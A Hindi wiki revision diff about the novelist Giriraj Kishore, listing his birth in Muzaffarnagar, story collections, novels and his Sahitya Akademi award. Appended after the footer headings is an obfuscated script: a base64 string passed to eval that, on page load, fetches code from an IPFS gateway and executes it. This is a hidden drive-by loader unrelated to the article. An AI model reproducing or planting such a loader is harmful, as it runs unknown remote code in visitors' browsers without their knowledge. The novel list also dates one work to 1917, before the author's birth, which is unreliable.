गिरिराज किशोर: Difference between revisions
[unchecked revision] | [unchecked revision] |
('गिरिराज किशोर (1937 -) गिरिराज किशोर का जन्म [[उत्तर प्रद...' के साथ नया पन्ना बनाया) |
No edit summary |
||
Line 5: | Line 5: | ||
#वल्द रोज़ी, | #वल्द रोज़ी, | ||
#यह देह किसकी है। | #यह देह किसकी है। | ||
;प्रतिभा सम्पन्न | ;प्रतिभा सम्पन्न लेखक | ||
{{tocright}} | |||
गिरिराज किशोर के सम-सामयिक विषयों पर विचारोत्तेजक निबंध पत्र-पत्रिकाओं में प्रकाशित होते रहे हैं। ये बालकों के लिए भी लिखते रहे हैं। इस तरह गिरिराज किशोर एक बहुआयामी प्रतिभा सम्पन्न लेखक हैं। गिरिराज किशोर को सर्वाधिक कीर्ति औपन्यासिक लेखन के माध्यम से ही प्राप्त हुई। | गिरिराज किशोर के सम-सामयिक विषयों पर विचारोत्तेजक निबंध पत्र-पत्रिकाओं में प्रकाशित होते रहे हैं। ये बालकों के लिए भी लिखते रहे हैं। इस तरह गिरिराज किशोर एक बहुआयामी प्रतिभा सम्पन्न लेखक हैं। गिरिराज किशोर को सर्वाधिक कीर्ति औपन्यासिक लेखन के माध्यम से ही प्राप्त हुई। | ||
;उपन्यास | ;उपन्यास |
Revision as of 18:53, 16 July 2011
गिरिराज किशोर (1937 -) गिरिराज किशोर का जन्म उत्तर प्रदेश के मुज़फ्फरनगर में हुआ। ये उपन्यासकार के अलावा एक सशक्त कथाकार हैं, नाटककार और आलोचक भी हैं। कहानीकार के रूप में भी इन्होंने पर्याप्त ख्याति प्राप्त की है।
- इनके प्रमुख कथा-संग्रह हैं-
- गाना बड़े गुलाम अली ख़ाँ,
- वल्द रोज़ी,
- यह देह किसकी है।
- प्रतिभा सम्पन्न लेखक
गिरिराज किशोर के सम-सामयिक विषयों पर विचारोत्तेजक निबंध पत्र-पत्रिकाओं में प्रकाशित होते रहे हैं। ये बालकों के लिए भी लिखते रहे हैं। इस तरह गिरिराज किशोर एक बहुआयामी प्रतिभा सम्पन्न लेखक हैं। गिरिराज किशोर को सर्वाधिक कीर्ति औपन्यासिक लेखन के माध्यम से ही प्राप्त हुई।
- उपन्यास
इनके द्वारा लिखित उपन्यास इस प्रकार हैं-
- लोग (1966),
- चिड़ियाघर (1968),
- यात्राएँ (1917),
- जुगलबन्दी (1973),
- दो (1974),
- इन्द्र सुनें (1978),
- दावेदार (1979),
- 8.यथा प्रस्तावित (1982),
- तीसरी सत्ता (1982), 10.परिशिष्ट (1984), 11.असलाह (1987), 12.अन्तर्ध्वस (1990), 13.ढाई घर (1991), 14.यातनाघर (1997), 15.पहला गिरमिटिया (1999)।
पुरस्कार
इनका उपन्यास ‘ढाई घर’ अत्यन्त लोकप्रिय हुआ। 1991 में प्रकाशित इस कृति को 1992] में ही साहित्य अकादमी पुरस्कार प्राप्त हुआ। यों महात्मा गांधी के अफ़्रीका प्रवास पर आधारित ‘पहला गिरमिटिया’ भी काफ़ी लोकप्रिय हुआ, पर ‘ढाई घर’ औपन्यासिक क्षेत्र में अपनी एक विशिष्ट पहचान बना चुका है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>